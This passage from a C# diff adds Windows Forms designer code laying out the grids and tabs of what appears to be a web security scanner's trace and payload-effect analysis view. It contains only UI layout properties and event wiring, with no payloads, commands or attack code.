System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ScanTraceOverviewGrid.GridColor = System.Drawing.Color.White; + this.ScanTraceOverviewGrid.Location = new System.Drawing.Point(0, 63); + this.ScanTraceOverviewGrid.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceOverviewGrid.MultiSelect = false; + this.ScanTraceOverviewGrid.Name = "ScanTraceOverviewGrid"; + this.ScanTraceOverviewGrid.ReadOnly = true; + this.ScanTraceOverviewGrid.RowHeadersVisible = false; + this.ScanTraceOverviewGrid.RowHeadersWidth = 10; + this.ScanTraceOverviewGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ScanTraceOverviewGrid.Size = new System.Drawing.Size(876, 240); + this.ScanTraceOverviewGrid.TabIndex = 9; + this.ScanTraceOverviewGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanTraceOverviewGrid_CellClick); + this.ScanTraceOverviewGrid.SelectionChanged += new System.EventHandler(this.ScanTraceOverviewGrid_SelectionChanged); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "Select"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Width = 60; + // + // Column4 + // + this.Column4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column4.HeaderText = "ID"; + this.Column4.MinimumWidth = 30; + this.Column4.Name = "Column4"; + this.Column4.ReadOnly = true; + this.Column4.Width = 30; + // + // dataGridViewTextBoxColumn17 + // + this.dataGridViewTextBoxColumn17.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn17.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn17.MinimumWidth = 60; + this.dataGridViewTextBoxColumn17.Name = "dataGridViewTextBoxColumn17"; + this.dataGridViewTextBoxColumn17.ReadOnly = true; + this.dataGridViewTextBoxColumn17.Width = 64; + // + // dataGridViewTextBoxColumn18 + // + this.dataGridViewTextBoxColumn18.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.dataGridViewTextBoxColumn18.HeaderText = "Injected Payload"; + this.dataGridViewTextBoxColumn18.MinimumWidth = 200; + this.dataGridViewTextBoxColumn18.Name = "dataGridViewTextBoxColumn18"; + this.dataGridViewTextBoxColumn18.ReadOnly = true; + this.dataGridViewTextBoxColumn18.Width = 200; + // + // dataGridViewTextBoxColumn19 + // + this.dataGridViewTextBoxColumn19.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn19.DefaultCellStyle = dataGridViewCellStyle2; + this.dataGridViewTextBoxColumn19.HeaderText = "Code"; + this.dataGridViewTextBoxColumn19.MinimumWidth = 50; + this.dataGridViewTextBoxColumn19.Name = "dataGridViewTextBoxColumn19"; + this.dataGridViewTextBoxColumn19.ReadOnly = true; + this.dataGridViewTextBoxColumn19.Width = 50; + // + // dataGridViewTextBoxColumn20 + // + this.dataGridViewTextBoxColumn20.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn20.DefaultCellStyle = dataGridViewCellStyle3; + this.dataGridViewTextBoxColumn20.HeaderText = "Body Length"; + this.dataGridViewTextBoxColumn20.MinimumWidth = 80; + this.dataGridViewTextBoxColumn20.Name = "dataGridViewTextBoxColumn20"; + this.dataGridViewTextBoxColumn20.ReadOnly = true; + this.dataGridViewTextBoxColumn20.Width = 92; + // + // dataGridViewTextBoxColumn21 + // + this.dataGridViewTextBoxColumn21.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn21.DefaultCellStyle = dataGridViewCellStyle4; + this.dataGridViewTextBoxColumn21.HeaderText = "MIME Type"; + this.dataGridViewTextBoxColumn21.MinimumWidth = 80; + this.dataGridViewTextBoxColumn21.Name = "dataGridViewTextBoxColumn21"; + this.dataGridViewTextBoxColumn21.ReadOnly = true; + this.dataGridViewTextBoxColumn21.Width = 87; + // + // Column5 + // + this.Column5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.Column5.DefaultCellStyle = dataGridViewCellStyle5; + this.Column5.HeaderText = "Time(ms)"; + this.Column5.MinimumWidth = 50; + this.Column5.Name = "Column5"; + this.Column5.ReadOnly = true; + this.Column5.Width = 50; + // + // dataGridViewTextBoxColumn22 + // + this.dataGridViewTextBoxColumn22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn22.DefaultCellStyle = dataGridViewCellStyle6; + this.dataGridViewTextBoxColumn22.HeaderText = "RS"; + this.dataGridViewTextBoxColumn22.MinimumWidth = 30; + this.dataGridViewTextBoxColumn22.Name = "dataGridViewTextBoxColumn22"; + this.dataGridViewTextBoxColumn22.ReadOnly = true; + this.dataGridViewTextBoxColumn22.Width = 30; + // + // Column6 + // + this.Column6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.Column6.HeaderText = "Trace Text"; + this.Column6.Name = "Column6"; + this.Column6.ReadOnly = true; + this.Column6.Width = 84; + // + // ScanTraceDetailedInfoTab + // + this.ScanTraceDetailedInfoTab.Controls.Add(this.ScanTraceMsgRTB); + this.ScanTraceDetailedInfoTab.Location = new System.Drawing.Point(4, 22); + this.ScanTraceDetailedInfoTab.Margin = new System.Windows.Forms.Padding(0); + this.ScanTraceDetailedInfoTab.Name = "ScanTraceDetailedInfoTab"; + this.ScanTraceDetailedInfoTab.Size = new System.Drawing.Size(876, 303); + this.ScanTraceDetailedInfoTab.TabIndex = 1; + this.ScanTraceDetailedInfoTab.Text = " Formatted Scan Trace Messages "; + this.ScanTraceDetailedInfoTab.UseVisualStyleBackColor = true; + // + // ScanTraceMsgRTB + // + this.ScanTraceMsgRTB.BackColor = System.Drawing.Color.White; + this.ScanTraceMsgRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScanTraceMsgRTB.DetectUrls = false; + this.ScanTraceMsgRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanTraceMsgRTB.Location = new System.Drawing.Point(0, 0); + this.ScanTraceMsgRTB.Name = "ScanTraceMsgRTB"; + this.ScanTraceMsgRTB.ReadOnly = true; + this.ScanTraceMsgRTB.Size = new System.Drawing.Size(876, 303); + this.ScanTraceMsgRTB.TabIndex = 0; + this.ScanTraceMsgRTB.Text = ""; + // + // ScanTracePayloadEffectTab + // + this.ScanTracePayloadEffectTab.Controls.Add(this.AnalysisProgressBar); + this.ScanTracePayloadEffectTab.Controls.Add(this.PayloadEffectTabs); + this.ScanTracePayloadEffectTab.Location = new System.Drawing.Point(4, 22); + this.ScanTracePayloadEffectTab.Name = "ScanTracePayloadEffectTab"; + this.ScanTracePayloadEffectTab.Size = new System.Drawing.Size(876, 303); + this.ScanTracePayloadEffectTab.TabIndex = 2; + this.ScanTracePayloadEffectTab.Text = " Payload Effect Analysis Results "; + this.ScanTracePayloadEffectTab.UseVisualStyleBackColor = true; + // + // AnalysisProgressBar + // + this.AnalysisProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.AnalysisProgressBar.Location = new System.Drawing.Point(299, 26); + this.AnalysisProgressBar.MarqueeAnimationSpeed = 10; + this.AnalysisProgressBar.Name = "AnalysisProgressBar"; + this.AnalysisProgressBar.Size = new System.Drawing.Size(236, 23); + this.AnalysisProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.AnalysisProgressBar.TabIndex = 34; + this.AnalysisProgressBar.Visible = false; + // + // PayloadEffectTabs + // + this.PayloadEffectTabs.Controls.Add(this.SummaryTab); + this.PayloadEffectTabs.Controls.Add(this.CodeTab); + this.PayloadEffectTabs.Controls.Add(this.KeywordsTab); + this.PayloadEffectTabs.Controls.Add(this.BodyTab); + this.PayloadEffectTabs.Controls.Add(this.SetCookieTab); + this.PayloadEffectTabs.Controls.Add(this.HeadersTab); + this.PayloadEffectTabs.Controls.Add(this.TimeTab); + this.PayloadEffectTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.PayloadEffectTabs.Location = new System.Drawing.Point(0, 0); + this.PayloadEffectTabs.Margin = new System.Windows.Forms.Padding(0); + this.PayloadEffectTabs.Name = "PayloadEffectTabs"; + this.PayloadEffectTabs.Padding = new System.Drawing.Point(0, 0); + this.PayloadEffectTabs.SelectedIndex = 0; + this.PayloadEffectTabs.Size = new System.Drawing.Size(876, 303); + this.PayloadEffectTabs.TabIndex = 5; + this.PayloadEffectTabs.Visible = false; + // + // SummaryTab + // + this.SummaryTab.Controls.Add(this.SummaryRTB); + this.SummaryTab.Location = new System.Drawing.Point(4, 22); + this.SummaryTab.Name = "SummaryTab"; + this.SummaryTab.Size = new System.Drawing.Size(868, 277); + this.SummaryTab.TabIndex = 6; + this.SummaryTab.Text = " Summary "; + this.SummaryTab.UseVisualStyleBackColor = true; + // + // SummaryRTB + // + this.SummaryRTB.BackColor = System.Drawing.Color.White; + this.SummaryRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.SummaryRTB.DetectUrls = false; + this.SummaryRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.SummaryRTB.Location = new System.Drawing.Point(0, 0); + this.SummaryRTB.Name = "SummaryRTB"; + this.SummaryRTB.ReadOnly = true; + this.SummaryRTB.Size = new System.Drawing.Size(868, 277); + this.SummaryRTB.TabIndex = 1; + this.SummaryRTB.Text = ""; + // + // CodeTab + // + this.CodeTab.Controls.Add(this.CodeGrid); + this.CodeTab.Location = new System.Drawing.Point(4, 22); + this.CodeTab.Margin = new System.Windows.Forms.Padding(0); + this.CodeTab.Name = "CodeTab"; + this.CodeTab.Size = new System.Drawing.Size(868, 277); + this.CodeTab.TabIndex = 0; + this.CodeTab.Text = " Code Variation "; + this.CodeTab.UseVisualStyleBackColor = true; + // + // CodeGrid + // + this.CodeGrid.AllowUserToAddRows = false; + this.CodeGrid.AllowUserToDeleteRows = false; + this.CodeGrid.AllowUserToOrderColumns = true; + this.CodeGrid.AllowUserToResizeRows = false; + this.CodeGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.CodeGrid.BackgroundColor = System.Drawing.Color.White; + this.CodeGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CodeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.CodeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.CodeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Column2, + this.Column1, + this.dataGridViewTextBoxColumn3}); + this.CodeGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CodeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CodeGrid.GridColor = System.Drawing.Color.White; + this.CodeGrid.Location = new System.Drawing.Point(0, 0); + this.CodeGrid.Margin = new System.Windows.Forms.Padding(0); + this.CodeGrid.MultiSelect = false; + this.CodeGrid.Name = "CodeGrid"; + this.CodeGrid.ReadOnly = true; + this.CodeGrid.RowHeadersVisible = false; + this.CodeGrid.RowHeadersWidth = 10; + this.CodeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CodeGrid.Size = new System.Drawing.Size(868, 277); + this.CodeGrid.TabIndex = 4; + this.CodeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CodeGrid_CellClick); + // + // Column2 + // + this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.Column2.HeaderText = "Log ID"; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + this.Column2.Width = 60; + // + // Column1 + // + this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.Column1.DefaultCellStyle = dataGridViewCellStyle8; + this.Column1.FillWeight = 101.5228F; + this.Column1.HeaderText = "Response Code"; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + // + // dataGridViewTextBoxColumn3 + // + this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn3.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn3.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; + this.dataGridViewTextBoxColumn3.ReadOnly = true; + // + // KeywordsTab + // + this.KeywordsTab.BackColor = System.Drawing.Color.Black; + this.KeywordsTab.Controls.Add(this.KeywordsGrid); + this.KeywordsTab.Location = new System.Drawing.Point(4, 22); + this.KeywordsTab.Margin = new System.Windows.Forms.Padding(0); + this.KeywordsTab.Name = "KeywordsTab"; + this.KeywordsTab.Size = new System.Drawing.Size(868, 277); + this.KeywordsTab.TabIndex = 1; + this.KeywordsTab.Text = " Keywords Inserted "; + // + // KeywordsGrid + // + this.KeywordsGrid.AllowUserToAddRows = false; + this.KeywordsGrid.AllowUserToDeleteRows = false; + this.KeywordsGrid.AllowUserToOrderColumns = true; + this.KeywordsGrid.AllowUserToResizeRows = false; + this.KeywordsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.KeywordsGrid.BackgroundColor = System.Drawing.Color.White; + this.KeywordsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.KeywordsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.KeywordsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.KeywordsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn2, + this.dataGridViewTextBoxColumn4, + this.dataGridViewTextBoxColumn13}); + this.KeywordsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.KeywordsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.KeywordsGrid.GridColor = System.Drawing.Color.White; + this.KeywordsGrid.Location = new System.Drawing.Point(0, 0); + this.KeywordsGrid.Margin = new System.Windows.Forms.Padding(0); + this.KeywordsGrid.MultiSelect = false; + this.KeywordsGrid.Name = "KeywordsGrid"; + this.KeywordsGrid.ReadOnly = true; + this.KeywordsGrid.RowHeadersVisible = false; + this.KeywordsGrid.RowHeadersWidth = 10; + this.KeywordsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.KeywordsGrid.Size = new System.Drawing.Size(868, 277); + this.KeywordsGrid.TabIndex = 5; + this.KeywordsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.KeywordsGrid_CellClick); + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn2.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 60; + // + // dataGridViewTextBoxColumn4 + // + this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle10.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn4.DefaultCellStyle = dataGridViewCellStyle10; + this.dataGridViewTextBoxColumn4.FillWeight = 101.5228F; + this.dataGridViewTextBoxColumn4.HeaderText = "Keywords Inserted"; + this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; + this.dataGridViewTextBoxColumn4.ReadOnly = true; + // + // dataGridViewTextBoxColumn13 + // + this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn13.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn13.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; + this.dataGridViewTextBoxColumn13.ReadOnly = true; + // + // BodyTab + // + this.BodyTab.Controls.Add(this.BodyGrid); + this.BodyTab.Location = new System.Drawing.Point(4, 22); + this.BodyTab.Name = "BodyTab"; + this.BodyTab.Size = new System.Drawing.Size(868, 277); + this.BodyTab.TabIndex = 2; + this.BodyTab.Text = " Body Variation "; + this.BodyTab.UseVisualStyleBackColor = true; + // + // BodyGrid + // + this.BodyGrid.AllowUserToAddRows = false; + this.BodyGrid.AllowUserToDeleteRows = false; + this.BodyGrid.AllowUserToOrderColumns = true; + this.BodyGrid.AllowUserToResizeRows = false; + this.BodyGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.BodyGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle11.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle11.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle11.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle11.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle11.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle11.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle11.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.BodyGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle11; + this.BodyGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.BodyGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn5, + this.dataGridViewTextBoxColumn6, + this.dataGridViewTextBoxColumn14}); + this.BodyGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.BodyGrid.GridColor = System.Drawing.Color.White; + this.BodyGrid.Location = new System.Drawing.Point(0, 0); + this.BodyGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyGrid.MultiSelect = false; + this.BodyGrid.Name = "BodyGrid"; + this.BodyGrid.ReadOnly = true; + this.BodyGrid.RowHeadersVisible = false; + this.BodyGrid.RowHeadersWidth = 10; + this.BodyGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.BodyGrid.Size = new System.Drawing.Size(868, 277); + this.BodyGrid.TabIndex = 5; + this.BodyGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyGrid_CellClick); + // + // dataGridViewTextBoxColumn5 + // + this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn5.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; + this.dataGridViewTextBoxColumn5.ReadOnly = true; + this.dataGridViewTextBoxColumn5.Width = 60; + // + // dataGridViewTextBoxColumn6 + // + this.dataGridViewTextBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + dataGridViewCellStyle12.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn6.DefaultCellStyle = dataGridViewCellStyle12; + this.dataGridViewTextBoxColumn6.FillWeight = 101.5228F; + this.dataGridViewTextBoxColumn6.HeaderText = "Response Body Variation (No. of New Characters Inserted due to Payload)"; + this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; + this.dataGridViewTextBoxColumn6.ReadOnly = true; + // + // dataGridViewTextBoxColumn14 + // + this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn14.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn14.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; + this.dataGridViewTextBoxColumn14.ReadOnly = true; + // + // SetCookieTab + // + this.SetCookieTab.Controls.Add(this.SetCookieGrid); + this.SetCookieTab.Location = new System.Drawing.Point(4, 22); + this.SetCookieTab.Name = "SetCookieTab"; + this.SetCookieTab.Size = new System.Drawing.Size(868, 277); + this.SetCookieTab.TabIndex = 3; + this.SetCookieTab.Text = " Set-Cookie Variations"; + this.SetCookieTab.UseVisualStyleBackColor = true; + // + // SetCookieGrid + // + this.SetCookieGrid.AllowUserToAddRows = false; + this.SetCookieGrid.AllowUserToDeleteRows = false; + this.SetCookieGrid.AllowUserToOrderColumns = true; + this.SetCookieGrid.AllowUserToResizeRows = false; + this.SetCookieGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.SetCookieGrid.BackgroundColor = System.Drawing.Color.White; + this.SetCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle13.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle13.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle13.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle13.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle13.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle13.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle13.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.SetCookieGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle13; + this.SetCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.SetCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn7, + this.dataGridViewTextBoxColumn8, + this.Column3, + this.dataGridViewTextBoxColumn15}); + this.SetCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.SetCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.SetCookieGrid.GridColor = System.Drawing.Color.White; + this.SetCookieGrid.Location = new System.Drawing.Point(0, 0); + this.SetCookieGrid.Margin = new System.Windows.Forms.Padding(0); + this.SetCookieGrid.MultiSelect = false; + this.SetCookieGrid.Name = "SetCookieGrid"; + this.SetCookieGrid.ReadOnly = true; + this.SetCookieGrid.RowHeadersVisible = false; + this.SetCookieGrid.RowHeadersWidth = 10; + this.SetCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.SetCookieGrid.Size = new System.Drawing.Size(868, 277); + this.SetCookieGrid.TabIndex = 5; + this.SetCookieGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SetCookieGrid_CellClick); + // + // dataGridViewTextBoxColumn7 + // + this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn7.HeaderText = "Log ID"; + this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; + this.dataGridViewTextBoxColumn7.ReadOnly = true; + this.dataGridViewTextBoxColumn7.Width = 60; + // + // dataGridViewTextBoxColumn8 + // + this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + dataGridViewCellStyle14.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.dataGridViewTextBoxColumn8.DefaultCellStyle = dataGridViewCellStyle14; + this.dataGridViewTextBoxColumn8.FillWeight = 101.5228F; + this.dataGridViewTextBoxColumn8.HeaderText = "Cookie Name"; + this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; + this.dataGridViewTextBoxColumn8.ReadOnly = true; + this.dataGridViewTextBoxColumn8.Width = 96; + // + // Column3 + // + this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle15.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.Column3.DefaultCellStyle = dataGridViewCellStyle15; + this.Column3.FillWeight = 1F; + this.Column3.HeaderText = "Variation"; + this.Column3.Name = "Column3"; + this.Column3.ReadOnly = true; + this.Column3.Width = 400; + // + // dataGridViewTextBoxColumn15 + // + this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.dataGridViewTextBoxColumn15.FillWeight = 98.47716F; + this.dataGridViewTextBoxColumn15.HeaderText = "Payload"; + this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; + this.dataGridViewTextBoxColumn15.ReadOnly = true; + // + // HeadersTab + // + this.HeadersTab.Controls.Add(this.HeadersGrid); + this.HeadersTab.Location = new System.Drawing.Point(4, 22); + this.HeadersTab.Name = "HeadersTab"; + this.HeadersTab.Size = new System.Drawing.Size(868, 277); + this.HeadersTab.TabIndex = 4; + this.HeadersTab.Text = " Headers Variation "; + this.HeadersTab.UseVisualStyleBackColor = true; + // + // HeadersGrid + // + this.HeadersGrid.AllowUserToAddRows = false; + this.HeadersGrid.AllowUserToDeleteRows = false; + this.HeadersGrid.AllowUserToOrderColumns = true; + this.HeadersGrid.AllowUserToResizeRows = false; + this.HeadersGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.HeadersGrid.BackgroundColor = System.Drawing.Color.White; + this.HeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle16.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle16.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle16.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle16.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle16.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle16.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle16.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.HeadersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle16; + this.HeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.HeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.dataGridViewTextBoxColumn9, + this.dataGridViewTextBoxColumn10, + this.dataGridViewTextBoxColumn16, + this.dataGridViewTextBoxColumn1}); + this.HeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.HeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.HeadersGrid.GridColor = System.Drawing.Color.White; + this.HeadersGrid.Location = new System.Drawing.Point(0, 0); + 